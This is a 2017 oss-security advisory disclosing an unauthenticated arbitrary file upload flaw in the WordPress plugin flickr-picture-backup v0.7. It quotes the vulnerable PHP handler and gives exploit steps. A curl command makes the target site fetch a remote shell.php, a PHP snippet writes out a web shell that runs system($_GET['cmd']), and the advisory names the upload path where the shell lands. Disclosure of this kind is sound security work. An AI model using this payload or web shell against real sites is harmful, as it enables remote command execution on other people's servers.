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Date: Sun, 30 Apr 2017 12:45:47 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Arbitrary file upload vulnerability in Wordpress plugin
flickr-picture-backup v0.7
Title: Arbitrary file upload vulnerability in Wordpress plugin flickr-picture-backup v0.7
Author: Larry W. Cashdollar, @_larry0
Date: 2017-04-26
CVE-ID:[CVE-2017-1002016]
Download Site: https://wordpress.org/plugins/flickr-picture-backup/
Vendor: http://daozhao.goflytoday.com/
Vendor Notified: 2017-04-26
Vendor Contact:
Advisory: http://www.vapidlabs.com/advisory.php?v=190
Description: Backup flickr’s picture which in page/post External links to flickr’s picture.
Vulnerability:
The code in flickr-picture-download.php doesn't check to see if the user is authenticated or that they have permission to upload files. It also doesn't check what type of file is being uploaded.
define('WP_ADMIN', TRUE);
require_once('../../../wp-load.php');
require_once(ABSPATH . 'wp-admin/includes/admin.php');
//require_once("./flickr-picture-backup.php");
//echo "flickr-picture-download.php";
if($_GET["url"])
{
$url = $_GET["url"];
$fl = wp_daozhao_download_flickr_picture($url);
if ( is_wp_error($fl) )
{
echo "FALSE:" . $fl->get_error_message();
}
else
{
wp_daozhao_flickr_backupfile_exists($url,$returl);
echo "OK:" . $returl ;
}
//echo wp_daozhao_flickr_backup_urlpath();
//echo "OK";
}
Export: JSON TEXT XML
Exploit Code:
• $ curl http://example.com/wp-content/plugins/flickr-picture-backup/flickr-picture-download.php -d "url=http://myhost/shell.php"
•
• Where shell.php is code to print out php web shell code, something like:
•
• <?php
• echo "<?php\n\$cmd=\$_GET['cmd'];\nsystem(\$cmd);\n?>\n";
• ?>
•
• Upon exploitation your shell is in:
•
• http://example.com/wp-content/uploads/flickr_backup/shell.php
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